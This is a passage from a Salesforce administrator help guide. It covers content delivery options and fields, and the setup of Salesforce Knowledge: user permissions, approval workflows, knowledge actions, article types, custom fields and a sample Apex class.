created. Users cannot opt out of the password requirement.
Note:

If you choose to require a password, users who create a content delivery will receive a password when the delivery
is generated; users must send the password and the delivery URL to delivery recipients. Delivery recipients are
prompted for the password when they click the content delivery URL.
Content delivery passwords display with the content-delivery URL when the delivery is created. You can also
access the password on the delivery detail page for the life of the content delivery.

When content delivery is enabled, all users should add the Content Deliveries related list to their page layouts for leads, business
accounts, contacts, opportunities, cases, campaigns, or custom objects. All Salesforce CRM Content users will see a Deliver
Content option on each content details page. For detailed instructions on creating a content delivery, see Creating Content
Deliveries on page 308.
Implementation Tips

To ensure quality of service, the total number of content-delivery views allowed within a 24-hour period is limited to
20,000. Also, the amount of bandwidth allocated to content deliveries is limited to 1 GB within a 24-hour period. If a
recipient tries to view a delivery when a rate limit has been exceeded, a notification displays that asks the viewer to try again
later. Salesforce may be able to increase rate limits on an exception basis. For more information, contact your sales
representative.
When you create a content delivery, Salesforce copies the original file and creates a new version of that file specifically for
online viewing. Note the following information concerning supported file types:

Microsoft Office 97 through Microsoft Office 2007 Word, Excel, and PowerPoint files are supported for online views.
Adobe PDF files are supported for online views, but copy-protected PDFs are not.
JPG, BMP, GIF, and PNG are supported for online views.
Any document over 25 MB is not supported for online views.

You can create a content delivery with any file type, but if the file type is not supported for online viewing, your recipient
can only download the document in its original file format.
Always preview your content delivery before sending the URL to recipients. In some cases, formatting in the original file,
such as colors and non-standard fonts, may not display properly in the online version. If you are not happy with the quality
of the online version, the content delivery wizard gives you the option of making your content available for download in
its original file format.
Content deliveries require Adobe Flash version 9.0.115. If a recipient does not have Flash installed, a download option
displays.
Customer Portal and partner portal users cannot create content deliveries.
Only the creator of a content delivery can delete the delivery record or edit details such as the expiration date.
Each time a content delivery's URL is clicked, Salesforce records the click as one view and distinguishes between internal
and external views. An internal view is a view by a Salesforce user, for example, clicking the delivery URL on the delivery
detail page or the View option on the Content Deliveries related list is an internal view. The Content Deliveries related
list provides a count of all views for each delivery. Open the delivery details page to see information about a specific view.

1463

Customize

Content Delivery Fields

Note: For password-protected content deliveries, a view is recorded when the recipient clicks on the delivery URL
regardless of whether he or she enters the password and views the delivery.

To delete a Salesforce CRM Content file that is associated with a content delivery, first delete the content delivery.
Salesforce CRM Content users can deliver content from shared libraries or a personal library.

Best Practices

After creating a content delivery, always preview it before sending the URL to your recipients to ensure that the formatting
in the original file displays properly in the online version. For example, colors and non-standard fonts may not display
properly in the preview player. If you are not happy with the quality of the online version, click Previous and choose to
make your content available in its original file format or as a PDF file only. Your recipients will be able to download the
file, and you can track whether the file was downloaded on the delivery detail page.
Animation and timings in PowerPoint files are not supported in the content delivery's online version. Hyperlinks in all
file types are also unsupported. See the implementation tips for a complete list of supported file types.
If you are a Salesforce CRM Content user and want recipients of your content delivery to always see the latest version of
a file rather than the version available on the delivery-creation date, open the delivery detail page and click Edit. Select
the Content Delivery Opens Latest Version checkbox.
If you select Notify Me of First View or Download, you will receive an email when the content delivery is viewed
for the first time.

Storage Implications
In Salesforce CRM Content, file storage is consumed when content is published to shared libraries or saved to a private library.
Creating content deliveries does not have an additional affect on storage limits, but users who frequently upload files to their
personal libraries for the purpose of content delivery should consider their organization's file-storage limits. Administrators
can use reporting to identify which users are consuming the most storage and which files are largest in size.
For non-Salesforce CRM Content users, file storage is consumed each time a content delivery is created. Once uploaded to
Salesforce, a file cannot be reused for multiple content deliveries. Creating multiple content deliveries with the same file
requires uploading the file each time. Deleting a content delivery deletes the source file in Salesforce, thus increasing file-storage
space.
For information about storage limits, see Monitoring Resources on page 752.

See Also:
Viewing and Editing Content Deliveries
Salesforce CRM Content Overview

Content Delivery Fields


Available in: All Editions except Database.com
Salesforce CRM Content available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer
Editions

The following table provides a description of the fields (in alphabetical order) that make up a content delivery. These fields
are located on the create-delivery wizard, the Content Deliveries related list, or the delivery details page.

1464

Customize

Content Delivery Fields

Field

Description

Allow Recipient to View in the Browser

If checked, the content delivery can be viewed online in a


custom Web page. On the delivery details page, this field is
labeled Allow View in the Browser.

Allow Recipient to Download as PDF

If checked, the content delivery converts Microsoft Word,


Excel, and PowerPoint files into PDF files and gives the
recipient the option of downloading the PDF. If the file you
uploaded was not a PDF, Word, Excel, or PowerPoint file,
this option does not appear in the create-delivery wizard. On
the delivery details page, this field is labeled Allow
Download as PDF.

Allow Download in Original Format

If checked, the content delivery allows recipients to download


the original file. In the create-delivery wizard, this field is
called Allow Recipient to Download as [file
type] where [file type] is the original file's file type, such
as .ppt, .pdf, or .doc.

Author

For Salesforce CRM Content files, the user who published


the file. (Read only)

Content Delivery Name

The name assigned to the content delivery. By default, the


Content Delivery Name includes the file name and the
creation date.

Content Delivery Opens Latest Version

For Salesforce CRM Content files, this flag indicates that the
recipient of a content delivery sees the most current version
of a file. For example, if a file is updated between the
delivery-creation date and today's date, a recipient who views
the delivery today sees the newest version.

Content Delivery Expires

A flag that indicates whether access to the content delivery


will expire on the expiration date. In the create-delivery wizard,
this flag corresponds to the checkbox next to the Remove
access to content on field.

Created By

The user who created the content delivery, including creation


date and time. (Read only)

Description

For Salesforce CRM Content files, the description provided


when the file was published. (Read only)

Expiration Date

The date on which the content delivery can no longer be


viewed. In the create-delivery wizard, this is the date entered
in the Remove Access to Content on field.

File Downloaded

A flag that indicates whether a file in the content delivery was


downloaded. For example, if a content delivery includes
options to view the content in the browser, download the
content in its original file format, and download the content
as a PDF file, this flag is checked if the recipient downloads
the original file or the PDF file. (Read only)

1465

Customize

Content Delivery Fields

Field

Description

Internal View

A flag that indicates whether a Salesforce user viewed the


content delivery. A view is considered internal if the user opens
the delivery URL from within Salesforce, for example by
clicking View on the Content Deliveries related list or clicking
the delivery URL on the delivery detail page. If the user copies
the URL and pastes it into his or her browser, the view is
considered external. (Read only)

Last Modified By

The user who last modified the content delivery, including


modification date and time. (Read only)

Last Viewed

The date and time on which the content delivery was last
viewed. A view is one click of the content-delivery URL. (Read
only)

Notify Me of First View or Download

If checked, the user who created the content delivery receives


an email notification the first time the content delivery URL
is clicked.

Owner Name

The user who owns the content delivery. (Read only)

Related To

The record that the content delivery is associated with, such


as an account, opportunity, or custom object. Users with
sharing access to the record can click it to view more details.

Require Password to Access Content

If checked, the recipient must enter the provided password


before viewing the content delivery. The password appears
when the content delivery is generated and for the life of the
delivery on the delivery detail page.

Title

For Salesforce CRM Content files, the title of the file included
in the content delivery. (Read only)

View Count

Total number of views for the content delivery, including


internal and external. (Read only)

See Also:
Creating Content Deliveries
Viewing and Editing Content Deliveries

1466

Configuring Salesforce Knowledge

Setting Up Salesforce Knowledge

CONFIGURING SALESFORCE KNOWLEDGE


Setting Up Salesforce Knowledge
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or edit users:

Manage Users

To create article types and article actions:

Customize Application
AND
Manage Salesforce Knowledge

To manage synonyms:

Manage Synonyms

To create data categories:

Manage Data Categories

As a knowledge base administrator, getting started involves choosing how your articles will be formatted and published, then
making the knowledge base available to authors, reviewers, publishers, and others on your team. After initial setup you can
enable numerous settings, such as making articles available to customers, partners, and public website visitors.
Before setting up Salesforce Knowledge, make sure that you are a Salesforce Knowledge user: go to Your Name > Personal
Setup > Personal Info and ensure that the Knowledge User checkbox is selected.
Getting Started with Salesforce Knowledge
Complete the following steps to enable Salesforce Knowledge in your organization:
1. Click Your Name > Setup > Customize > Knowledge > Article Types and create one or more article types.
Note: Before users can access article types, an administrator must set object permissions for article types. For more
information, see Object Permissions on page 586.
2. Click Your Name > Setup > Customize > Knowledge > Settings. Confirm that you want to enable Salesforce Knowledge
and click Enable Knowledge.
3. Select your general settings on page 1476.

Select Allow users to create and edit articles from the Articles tab to enable users to edit
articles without going to the Article Management tab. Users can click Edit an article to open the article edit page. If
a published version of the article already exists, they have the option to view the published version or edit the current
version. If a draft version exists, they can continue with editing the existing draft, but should carefully review the draft
so that they dont overwrite unpublished changes.
Select Activate Validation Status field to add a Validation Status field to all Salesforce Knowledge articles.

1467

Customize

Setting Up Salesforce Knowledge

Select Allow users to add external multimedia content to HTML in the standard editor to
allow <iframe> elements in the standard editor to embed multimedia content from the Dailymotion, Vimeo, and
YouTube websites.

4. Select at least one option under Article Summaries.

Internal App
Customer Portal
Partner Portal

5. Choose a Default Knowledge Base Language. This is the language your authors will use to write most of the articles. We
recommend that your Default Knowledge Base Language and your organization's language be the same.
6. If your Knowledge base supports multiple languages, select Multiple Languages, add the languages supported, and
adjust their settings.
7. Optionally, select your Case Settings. You can select one or both.
8. Optionally, check Allow users to create an article from a reply to create articles from replies in Answers.
9. Click Save.
Complete the following steps to give internal users the ability to manage and view articles:
1. Create the category groups and individual categories that authors will assign to articles. Categories help agents, customers,
partners, and visitors find articles in the knowledge base. See Managing Data Categories on page 1566 for more details.
2. After setting up your data categories, you can control article visibility based on category. By default, Salesforce Knowledge
users have access to all articles associated with any category. To restrict article visibility, you can specify that certain categories
are visible only to certain roles in the role hierarchy. See Editing Role-Based Category Group Visibility on page 1577 for
details.
3. Give internal users access to Salesforce Knowledge by assigning each user a Salesforce Knowledge feature license:
a. Click Your Name > Setup > Manage Users > Users.
b. Click Edit next to the user's name or click New to create a new user.
c. Select the Knowledge User checkbox.
Note: For instructions on giving portal users access to Salesforce Knowledge, see Customizing Salesforce
Knowledge.

4. Verify that each user has the appropriate Salesforce Knowledge user permissions enabled. For more information see
Granting Permissions for Salesforce Knowledge Users on page 1469.
5. Make the Article Management and Articles tabs visible by adding them to a custom app or instructing your users to add
the Article Management or Articles tab to an existing tab set. Note the following:

All users with access to Salesforce Knowledge can see the Articles tab.
Users with the Manage Articles user permission can see the Article Management tab.

See Also:
Salesforce Knowledge Overview
Creating a Public Knowledge Base with Salesforce Knowledge
Salesforce Knowledge Implementation Guide
Granting Permissions for Salesforce Knowledge Users
Creating and Assigning Salesforce Knowledge Users and Groups
Customizing Salesforce Knowledge

1468

Customize

Overview of Setting Up Salesforce Knowledge Users

Overview of Setting Up Salesforce Knowledge Users


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or edit users:

Manage Users

To create article types and article actions:

Customize Application
AND
Manage Salesforce Knowledge

To give people in your company access to various features in Salesforce Knowledge, you need to create Knowledge user profiles
with the appropriate user permissions, and then assign users to these profiles. In addition, you need to specify which users in
your company areSalesforce Knowledge users. Optionally, you may want to create public groups for certain article actions,
such as publishing, translating, or archiving.

Granting Permissions for Salesforce Knowledge Users


Creating and Assigning Salesforce Knowledge Users
(Optional) Assigning Article Actions to Public Groups

Granting Permissions for Salesforce Knowledge Users


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or edit users:

Manage Users

To create article types and article actions:

Customize Application
AND
Manage Salesforce Knowledge

User permissions control access to different features in Salesforce Knowledge. We recommend using permission sets or custom
profiles to grant users the permissions they need. For example, you might want to create a permission set called Article
Manager that includes the permissions needed to create, edit, publish, and assign articles.
When creating Salesforce Knowledge profiles, keep the following in mind.

Users who will create article types, manage article actions, and modify settings in Your Name > Setup > Customize >
Knowledge need the Manage Salesforce Knowledge permission. This permission is on by default in the System
Administrator profile.

1469

Customize

Granting Permissions for Salesforce Knowledge Users

Users who will search for and view articles from the Articles tab need the Read permission for the article types they need
to access.
Users who will edit draft articles, manage the publishing process, or manage the translation process need the Manage
Articles permission and the appropriate article type permissions. Manage Articles is on by default in the System
Administrator profile.
Users with the Manage Articles permission are assigned all article actions automatically. Article actions allow users to
do things like publish and archive articles or manage the translation process.
Users who will create data categories need the Manage Data Categories permission. This permission is on by default in
the System Administrator profile.
Users who will import articles or import or export translations need the Read, Create, Edit, and Delete permissions.

Refer to this table for details on permissions associated with Salesforce Knowledge functionality. The full permission names
are as follows:

Manage Salesforce Knowledge = MSK


Manage Articles = MA
Manage Knowledge Article Import/Export = MKAIE
Permissions
Salesforce Knowledge
Functionality

MSK

MA

Article Type-Specific Permissions


MKAIE

Read

Create

Edit

Delete

Other
Article
Action

Create article type


Manage article actions
Create new article from case using
the simple editor
Create new article from case using
the standard editor
Search articles from case and
attach articles to case
Create new article from answer
Search for and read articles from
Article tab
Create or edit article from Article
Management tab
Edit draft article from Article
Management tab
Delete article (version or entire)
from Article Management tab
Publish article from Article
Management tab
Assign article from Article
Management tab
Edit published or archived article

1470

Customize

Creating and Assigning Salesforce Knowledge Users and Groups

Permissions
Salesforce Knowledge
Functionality

MSK

MA

Article Type-Specific Permissions


MKAIE

Read

Create

Edit

Delete

Other
Article
Action

Archive article from Article


Management tab
Submit articles for translation
Delete translated articles
Publish translated articles
Edit translated articles
Import articles
Import and export translated
articles

See Also:
Creating and Assigning Salesforce Knowledge Users and Groups
Setting Up Salesforce Knowledge
Overview of User Permissions and Access

Creating and Assigning Salesforce Knowledge Users and


Groups
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or edit users:

Manage Users

To create article types and article actions:

Customize Application
AND
Manage Salesforce Knowledge

Creating and Assigning Salesforce Knowledge Users


The Salesforce Knowledge feature license is indicated by the Knowledge User checkbox on the user detail page. If it does
not appear, verify that your organization has purchased enough feature licenses.
To create or assign Salesforce Knowledge users:
1. Click Your Name > Setup > Manage Users > Users.

1471

Customize

2.
3.
4.
5.
6.

Creating Salesforce Knowledge Workflow Rules and Approval Processes

Click Edit next to the user's name or click New to create a new user.
If you are creating a new user, complete all the required fields.
Select the Knowledge User checkbox.
Verify that the user has the required permissions. See Granting Permissions for Salesforce Knowledge Users.
Click Save.
Note: To create portal users, see About Customer Portal User Management on page 1696 or About Partner Portal User
Management on page 3485. Public knowledge base visitors do not require authenticated access once the public knowledge
base has been created.

Assigning Article Actions to Public Groups


The Manage Articles user permission provides Salesforce Knowledge users with access to all the article actions available
from the Article Management tab, including publishing, translating, and archiving articles. You can control article action
access by assigning public groups to article actions. Then, you add Salesforce Knowledge users who need to perform an article
action to the article action's public group. For example, you might create a public group called Superusers and assign it to the
Delete Translated Articles action. Only article managers who are members of Superuser can delete translated articles. See
Assigning Article Actions to Public Groups on page 1493 for more information on limiting access to article actions by assigning
them to public groups.

Creating Salesforce Knowledge Workflow Rules and


Approval Processes
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view workflow rules and approval processes:

View Setup and Configuration

To create or change workflow rules and approval processes:

Customize Application

Creating workflow rules and approval processes lets your organization automate many of the tasks involved with managing
its knowledge base. When implementing Salesforce Knowledge, you can create workflow rules and approval processes for
some or all of the article types used by your organization.
Workflow rules let you create email alerts, update fields, or send outbound API messages when an article meets certain criteria.
For example, you could create a workflow rule that sends an email alert to the article type owner when a new article is created
from a case. Note that tasks are not supported by article type workflow.
Approval processes automate the approval of articles. When implemented with Salesforce Knowledge, approval processes give
you additional control over the content of your articles and the process used to approve them. For example, you can create a
process that requires legal and management teams to approve articles containing sensitive information.
Creating Workflow Rules for Article Types
To create workflow rules for article types:
1. Select the object to which the workflow rule applies.
2. Configure the workflow rule settings and criteria.

1472

Customize

Creating Salesforce Knowledge Workflow Rules and Approval Processes

3. Configure the workflow actions.


4. Activate the workflow rule.
Note: Tasks aren't available for article type workflow rules.

Creating Approval Processes for Article Types


Before you create an approval process, determine which wizard to use. For more information, see Choosing an Approval
Process Wizard on page 1834. To create an approval process:
1.
2.
3.
4.
5.
6.
7.
8.

Launch the Approval Process Wizard.


Specify Name, Unique Name, and Description.
Specify Criteria for Entering Process.
Specify Approver Field and Record Editability.
Select Email or Chatter Post Notification Template.
Configure Approval Request Page Layout.
Specify Initial Submitters.
Activate the Approval Process.

Tips for Creating Approval Processes


Keep the following in mind when creating approval processes for article types.

Adding an approval process to an article type lets your organization ensure that the required reviewers approve the article
before it's published. When an approval process is enabled for an article's article type, the Approval History related list
displays on the article details page.
When creating an approval process, change the final approval action to Unlock the record for editing to allow users to
publish the article. For more information, see Final Approval Actions on page 1850.
Articles aren't published automatically at the end of an approval process. Users must click Publish... to make the article
available in the publishing channel(s).
When an approval process is associated with an article type, users with the Manage Articles permission might see both
the Publish... and the Submit for Approval buttons on an article's detail page. (Which buttons they see is determined by
both permissions and article actions). These users can publish an article without submitting it for approval. To prevent
this from affecting many users, assign the Publish Articles article action to a limited group of users instead of giving it
to all users with the Manage Articles permission. For more information, see Assigning Article Actions to Public Groups
on page 1493. You'll still want to make sure that the users with direct publishing capability know which articles need approval
before publication.
Article approvers require the Manage Articles permission and at least the Read permission on the article type associated
with articles they review. These permissions let them access the article in a draft state. Without these permissions, approvers
can reassign but not approve articles.
Workflow rules and approval processes apply to the Draft to Publication portion of the article publishing cycle. Approval
processes aren't available for translation or archiving.

1473

Customize

Creating and Activating Knowledge Actions

Note: When an article is published from the edit page, the article is first saved and then published. Workflow
rules apply to the saved draft article but not the published article.

See Also:
Approval Processes Overview
Approval Process Considerations
Notes on Using Workflow Rules
Setting Up Salesforce Knowledge

Creating and Activating Knowledge Actions


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To enable Salesforce Knowledge Actions:

Customize Application

Knowledge actions are templates that link a workflow action to an article type.
When knowledge actions are enabled, you can use them to link article types to specific workflow article actions, such as
publishing. For example, if you want to have each FAQ published as a new version each time it completes the approval process,
you can create a knowledge action that links the FAQ article type to the Publish as New action. Then, when you create
an approval process for FAQs, select the new Knowledge Action.
Note: When you create the approval process, make sure to change the final approval action to Unlock the record
for editing to let users publish the article.
To maximize memory usage when publishing large groups of articles, Salesforce may delay publication and adds the articles
to the publication queue. This happens when the number of articles and translations multiplied by the number of rich text
areas is greater than 100. You can view the publishing queue to check the status of the articles on the Automated Process
Actions page.
1. Click Your Name > Setup > Create > Workflow & Approvals > Knowledge Actions.
2. Click New Knowledge Action.
3. Select the article type for the action. The workflow rules and approval process that you associate with the action must
belong to the same article type.
4. Enter a unique name for the knowledge action.
5. Select the type of action you want to apply to the article type. For example, Publish as New publishes the article as a
new version.
6. Enter a description.
7. Click Save.
The Knowledge Action detail page appears showing you the rules and approval processes that use the knowledge action.

1474

Customize

Customizing Salesforce Knowledge

8. When youre ready to use the knowledge action in an approval or workflow process, click Activate on the Knowledge
Action detail page.

See Also:
Creating Salesforce Knowledge Workflow Rules and Approval Processes

Customizing Salesforce Knowledge


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create article types and article actions:

Customize Application
AND
Manage Salesforce Knowledge

To manage synonyms:

Manage Synonyms

To create data categories:

Manage Data Categories

Depending on how you want to customize Salesforce Knowledge, such as integrating the knowledge base with cases or giving
portal users access to articles, complete the following optional steps.

Set up workflow rules or approvals processes for some or all article types to help your organization manage article creation
and publication.
Enable multiple languages if your organization will translate and publish articles in more than one language.
If you have an existing knowledge base, import your articles into Salesforce Knowledge.
Enable Salesforce Knowledge in the Customer Portal to make articles visible to portal users.
Enable Salesforce Knowledge in the partner portal to make articles visible to portal users.
Create a synonym group to allow Salesforce Knowledge users to search for articles using synonyms as keywords.
Add the Articles related list to case page layouts. The Articles related list lets users search for articles while working on a
case. You can also allow case users to:
Attach PDF versions of articles to case emails.
Create articles when closing a case.
View a list of suggested articles based on case information.

To allow users to follow articles in Chatter, enable feed tracking for article types.
If you want visitors to your public website to view Salesforce Knowledge articles, install the Sample Public Knowledge Base
for Salesforce Knowledge app from the AppExchange. For detailed instructions, see Creating a Public Knowledge Base with
Salesforce Knowledge.

1475

Customize

Customizing Salesforce Knowledge Settings

Customizing Salesforce Knowledge Settings


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To enable Salesforce Knowledge:

Customize Application

Note: Before enabling Salesforce Knowledge, you must create at least one article type.

Salesforce Knowledge is a knowledge base where users can easily create and manage content, known as articles, and quickly
find and view the articles they need. For more information, see Salesforce Knowledge Overview.
Click Your Name > Setup > Customize > Knowledge > Settings. If Salesforce Knowledge has not been enabled in your
organization, an Enable Knowledge option is available. If Salesforce Knowledge is already enabled, you can configure the
following optional settings.
Allow users to create and edit articles from the Articles tab
If this checkbox is selected, users can create and edit articles from the Articles tab.
Activate the Validation Status field for articles
When you activate the Validation Status field, users can select values to show whether the content of the article
has been validated or not.
Allow users to add external multi-media content to the standard HTML editor
If this checkbox is selected, users can cut and paste <iframe> HTML to embed multi-media content from the following
sites: Dailymotion, Vimeo, and YouTube.
Choose the language(s) for your knowledge base
The Default Knowledge-Base Language should be the primary language used for writing articles. It defaults to
your organization's language.
If you will publish articles in more than one language, select Multiple Languages and choose the translation settings.
For instructions, see Setting up a Multilingual Knowledge Base on page 1514.
Show article summaries in article list views
For each channel, decide whether an article's Summary details should display on the Articles tab.
Allow users to create an article from a case
If this checkbox is selected, users can create a draft article that is attached to the case when the article is published using
one of the following options.

Create articles using the simple editor only when closing cases.
Create articles using the standard editor any time a user creates an article. Make sure that users have Manage Articles,
Read, and Create permissions.

1476

Customize

Customizing Salesforce Knowledge Settings

Select a default article type. For articles created when closing a case, assign the article to a user.
You can help agents create articles more quickly by selecting an Apex class that pre-populates any of the fields on the
draft. By default the Title field in all draft articles contains the case subject.
If you enable this option, also click Layout Properties on each case-close page layout and select Enable submissions
during case close and Submit Articles.
Use a profile to create customer-ready article PDFs on cases
By default, when a user creates an article PDF directly from a case, the PDF includes all the article fields visible to that
user. If you want PDFs to be generated according to a different profile, for example, a profile that hides certain fields
from customers, select Use a profile to create customer-ready article PDFs on cases and choose
the profile that should determine field visibility.
Allow users to create an article from a reply
If this checkbox is selected, members of an answers community or Chatter Answers community can convert helpful
replies into articles. The article type you select determines which fields appear on the draft article, but on all articles the
Title contains the question and the Summary contains the reply. After a reply is promoted to an article, the original
reply has a status message indicating its association with the draft article. When the article is published, the message on
the reply includes a link to the article.

See Also:
Salesforce Knowledge Overview
Setting Up Salesforce Knowledge
Salesforce Knowledge Terminology
Example Apex Customization for Submitting Articles from Cases

Example Apex Customization for Submitting Articles from Cases


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit Salesforce Knowledge settings:

Customize Application

To create an Apex class:

Author Apex

Note: You can add, edit, or delete Apex using the Salesforce user interface only in a Developer Edition organization,
a Salesforce Enterprise Edition trial organization, or sandbox organization. In a Salesforce production organization,
you can only make changes to Apex by using the Metadata API deploy call, the Force.com IDE, or the Force.com
Migration Tool. The Force.com IDE and Force.com Migration Tool are free resources provided by salesforce.com
to support its users and partners, but are not considered part of our Services for purposes of the salesforce.com Master
Subscription Agreement.

1477

Customize

Customizing Salesforce Knowledge Settings

If your organization allows customer-support agents to create Salesforce Knowledge articles while closing a case, you can use
Apex to pre-populate fields on draft articles. To do so, create an Apex class and assign it to the case article type using the
example below as a guide. For more information on the syntax and use of Apex, see the Force.com Apex Code Developer's Guide.
Set up the example by creating the following article type, field, and data categories. Do not change the default API Name
assigned to each new object.
1.
2.
3.
4.

Create an article type called FAQ.


Create a text custom field called Details.
Create a category group called Geography and assign it a category called USA.
Create a category group called Topics and assign it a category called Maintenance.

To finish the example, create and assign the Apex class:


1. Go to the Your Name > Setup > Develop > Apex Classes page and click New.
2. Click Version Settings to specify the version of Apex and the API used with this class. If your organization has installed
managed packages from the AppExchange, you can also specify which version of each managed package to use with this
class. Use the default values for all versions. This associates the class with the most recent version of Apex and the API,
as well as each managed package. You can specify an older version of a managed package if you want to access components
or functionality that differs from the most recent package version. You can specify an older version of Apex and the API
to maintain specific behavior.
3. In the Apex Class text box enter the following script and click Save:
public class AgentContributionArticleController {
// The constructor must take a ApexPages.KnowledgeArticleVersionStandardController
as an argument
public
AgentContributionArticleController(ApexPages.KnowledgeArticleVersionStandardController
ctl) {
SObject article = ctl.getRecord();
//this is the SObject for the new article.
//It can optionally be cast to the proper
article type, e.g. FAQ__kav article = (FAQ__kav) ctl.getRecord();
String sourceId = ctl.getSourceId(); //this returns the id of the case that was
closed.
Case c = [select subject, description from Case where id=:sourceId];
article.put('title', 'From Case: '+c.subject); //this overrides the default
behavior of pre-filling the title of the article with the subject of the closed case.
article.put('Details__c',c.description);
ctl.selectDataCategory('Geography','USA'); //Only one category per category
group can be specified.
ctl.selectDataCategory('Topics','Maintenance');
}

4. On the Your Name > Setup > Customize > Knowledge > Settings page click Edit.
5. Verify the case settings; using our example, the Default article type should be FAQ.
6. From the Use Apex Customization menu, select AgentContributionArticleController and click Save.
As a result of this example, when agents create an article from the case-close screen:

The data from the Description field on the case appears in the Details field of the article.
The title of the article contains From Case: and the case subject.

1478

Customize

Managing Article Types

The article is automatically assigned to the USA data category and the Maintenance data category.

See Also:
Setting Up Salesforce Knowledge
Apex Code Overview

Managing Article Types


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, or delete article types:

Customize Application
AND
Manage Salesforce Knowledge

When creating an article, the author must select an article type. Article types, such as FAQs and Tutorials, provide the format
and structure to control how an article displays for each audience, known as a channel. For each article type you can create
custom fields, customize the layout by adding or removing sections and fields, and choose a template for each channel. You
can also create workflow rules and approval processes to help your organization track and manage article creation and publication.
See Workflow and Approvals Overview on page 1775 for more information.
After creating your article types, you can customize, edit, and delete them. Click Your Name > Setup > Customize > Knowledge
> Article Types to display the Article Types list page, which provides a list of all the article types defined for your organization.
From the Article Types list page you can:

Click New Article Type to define an article type.


Click the article-type name to display the detail page. On the detail page you can edit existing fields, add new custom
fields, add and edit sections on the article-type layout, and select a template for each channel.
Click Del to delete an article type.

See Also:
Defining Article Types
Using the Fields Related List
Modifying Article-Type Layouts
Assigning Article-Type Templates

1479

Customize

Defining Article Types

Defining Article Types


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, or delete article types:

Customize Application
AND
Manage Salesforce Knowledge

The first step when setting up Salesforce Knowledge is to create one or more article types. You cannot enable Salesforce
Knowledge until at least one article type is created.
When creating an article, the author must select an article type. Article types, such as FAQs and Tutorials, provide the format
and structure to control how an article displays for each audience, known as a channel. For each article type you can create
custom fields, customize the layout by adding or removing sections and fields, and choose a template for each channel. You
can also create workflow rules and approval processes to help your organization track and manage article creation and publication.
See Workflow and Approvals Overview on page 1775 for more information.
Note: Before users can access article types, an administrator must set object permissions for article types. For more
information, see Object Permissions on page 586.
To create an article type:
1. Click Your Name > Setup > Customize > Knowledge > Article Types.
2. Click New Article Type or edit an existing article type.
3. Enter the following:
Field

Description

Label

A name used to refer to the article type in any user interface


pages.

Plural Label

The plural name of the object. If you create a tab for this
object, this name is used for the tab.

Gender

If it is appropriate for your organizations default language,


specify the gender of the label. This field appears if the
organization-wide default language expects gender. Your
personal language preference setting does not affect whether
the field appears. For example, if the organizations default
language is English and your personal language is French,
you are not prompted for gender when creating an article
type.

Starts with a vowel sound

If it is appropriate for your organizations default language,


check if your label should be preceded by "an" instead of "a."

1480

Customize

Defining Article Types

Field

Description

Object Name

(Read only) A unique name used to refer to the article type


when using the Force.com API. In managed packages, this
unique name prevents naming conflicts on package
installations. The Object Name field can contain only
underscores and alphanumeric characters. It must be unique,
begin with a letter, not include spaces, not end with an
underscore, and not contain two consecutive underscores.

Description

An optional description of the article type. A meaningful


description will help you remember the differences between
your article types when you are viewing them in a list.

Track Field History

Select this option to track the full history of an article and


its versions. The system records and displays field updates,
publishing workflow events, and language versions for the
master article and any translations.

Deployment Status

Indicates whether the article type is visible outside Setup.


In Development means article managers cannot choose this
article type when creating articles. Only select Deployed
after you are done creating the article type.

4. Click Save.
5. On the article type detail page, complete the following information:

In the Fields related list, create or modify custom fields as needed.


In the Fields related list, edit the article-type layout as needed to rearrange fields and create sections.
In the Channel Displays related list, choose a template for the internal application, Customer Portal, public knowledge
base, and partner portal.

See Also:
Adding Custom Fields to Article Types
Modifying Article-Type Layouts
Assigning Article-Type Templates
Salesforce Knowledge Terminology

1481

Customize

Defining Article Types

Using the Fields Related List


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change custom fields:

Customize Application

To modify article-type layouts:

Manage Salesforce Knowledge

On the Fields related list on the article-type detail page, you can:

Edit the Article Number, Summary, Title, and URL Name standard fields. These fields are required on all article
types and cannot be deleted.
Click New to create a custom field. All article types should have at least one rich text area field for writing article text and
a File field for attaching documents to articles. For help deciding which type of custom fields your article type needs, review
the custom fields for article types.
Click Set History Tracking to track field updates for the article type.
Click Edit Layout to rearrange or remove fields and modify sections for the article type.

See Also:
Adding Custom Fields to Article Types
Custom Field Types on Articles
Modifying Article-Type Layouts
Setting an Article's Field-Level Security

Adding Custom Fields to Article Types


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change custom fields:

Customize Application
AND
Manage Salesforce Knowledge

Create custom fields to store information that is important to your articles. Before you begin, determine the type of custom
field you want to create. The only standard fields provided on article types are Article Number, Summary, Title, and
URL Name, so at minimum you'll want to create a field where authors can write the body of the article.

1482

Customize

Defining Article Types

Note: Authors can view the URL Name when they create or edit an article. The URL Name does not appear to end
users viewing published articles.
To add a custom field:
1.
2.
3.
4.
5.

Click Your Name > Setup > Customize > Knowledge > Article Types.
Select an article type.
Click New in the Fields related list.
Choose the type of field to create, and click Next.
Enter a field label. The field name is automatically populated based on the field label you enter. This name can contain
only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not
include spaces, not end with an underscore, and not contain two consecutive underscores. Ensure the custom field name
is not identical to any standard field name for that object.
6. Enter any field attributes, such as Description, and click Next to continue.
Note: You cannot enter a default value for any custom field.

7. Set the field-level security to determine whether the field should be visible and editable or read only for specific profiles,
and click Next. Field-level security allows you to control which fields are visible in different channels.
8. If you do not want the field to be added automatically to the article-type layout, uncheck Yes, add this custom
field to the layout.
9. Click Save to finish or Save & New to create more custom fields.
10. Optionally rearrange your custom fields on the article-type layout.
Note: Creating fields may require changing a large number of records at once. To process these changes efficiently,
Salesforce may queue your request and send an email notification when the process has completed.
Caution: You will lose your data if you convert a custom field on an article type into any other field type. Do not
convert a custom field on an article type unless no data exists for the field.

See Also:
Changing Custom Field Type
Setting an Article's Field-Level Security
Modifying Article-Type Layouts
